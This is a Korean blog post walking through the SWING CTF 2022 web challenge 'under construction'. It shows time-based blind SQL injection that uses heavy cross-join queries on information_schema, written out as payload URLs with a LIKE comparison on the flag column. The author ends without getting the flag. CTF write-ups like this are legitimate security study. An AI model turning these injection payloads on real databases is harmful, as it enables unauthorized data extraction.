본문 바로가기

CTF/SWING CTF 2022

[Web] under construction

 

blind sql injection 문제인가보다.

 

table 파라미터를 통해 어떤 값을 받고 어떤 값을 필터링하는지 보여준다.

 

table 파라미터에 들어갈 수 있는 값은 a부터 z까지, 0부터 9까지, A부터 Z까지, _ 와 . 그리고 공백 이다.

그러므로 함수를 사용하지 않고 blind sql injection을 해야한다.

 

union이나 select 문자열은 필터링하고 있다.

 

table=union 넣었더니 에러가 난 광경이다.

test_user

test_demo

table 파라미터를 이용해 전송하는 값에 따라 출력되는 값이 바뀐다.

 

sleep이나 benchmark와 같은 함수를 사용하는 것이 불가능하며,

error가 발생하였을 때 에러 로그도 출력되지 않기 때문에,

error based sql injection도 불가능하다.

 

Time-Based Blind SQL Injection using Heavy Query

[T0M4TO] Heavy Query Time based SQL Injection (tistory.com)

 

서버에 부하를 줄 수 있을 만한 쿼리인 heavy query를 이용하여,

응답시간을 지연시키고 이를 오라클로 하여 원하는 데이터를 추출하는 것이 목표이다.

 

mysql의 문법 중 하나인 join을 이용해야 한다.

위의 Heavy Query Time Based sql injection 2번째 링크를 보면 cross join이란게 있는데,

이는 조회하는 테이블에 다른 테이블을 합칠 수 있는 것이다.

 

위와 같이 입력하면 user에 demo table 까지 불러올 수 있다는거다.

 

그러니까 조회하는 table이 많아지고 크기가 커질수록 서버 부하는 심해질 것이고,

join을 이용하여 데이터가 많이 포함된 table을 조회하는 데이터 목록에 포함시켜준다면,

자연스럽게 응답시간을 지연시키는 것이 가능하다.

 

swingctf.hspace.io:13373/?table=demo cross join information_schema.statistics cross join information_schema.processlist%2

 

이렇게 말이다.

 

swingctf.hspace.io:13373/?table=demo cross join information_schema.tables as m cross join information_schema.columns cross

 

http://swingctf.hspace.io:13373/?table=demo%20cross%20join%20information_schema.tables%20as%20m%20cross%20join%20information_schema.columns%20cross

 

위와 같이 페이로드를 넣으면 원래 demo table에선 23ms 걸리던 응답이 2.43s까지 지연되는 것을 볼 수 있다.

 

swingctf.hspace.io:13373/?table=demo cross join information_schema.tables as m cross join information_schema.columns cross join flag as c on c.flag like 0x53

 

http://swingctf.hspace.io:13373/?table=demo%20cross%20join%20information_schema.tables%20as%20m%20cross%20join%20information_schema.columns%20cross%20join%20flag%20as%20c%20on%20c.flag%20like%200x53

 

on 이라는 부분을 이용해 찾아내고자 하는 데이터를 비교하는 조건문을 추가할 수 있다.

이렇게 넣으면 2.49s까지도 지연된다.

 

swingctf.hspace.io:13373/?table=demo cross join information_schema.statistics cross join information_schema.tables as%2

 

이걸 하나의 오라클로 Time Based sql injection을 하면 플래그를 얻을 수 있다.

 

근데 왜 flag를 뱉어내질 않는거지?

 

 

'CTF > SWING CTF 2022' 카테고리의 다른 글

[Rev] chikara  (0) 2022.12.04
[Web] AYAYA!  (0) 2022.12.04
[Web] babyxss  (0) 2022.12.04
[Web] Baby Sign  (0) 2022.12.04
[Rev] Snail  (0) 2022.12.04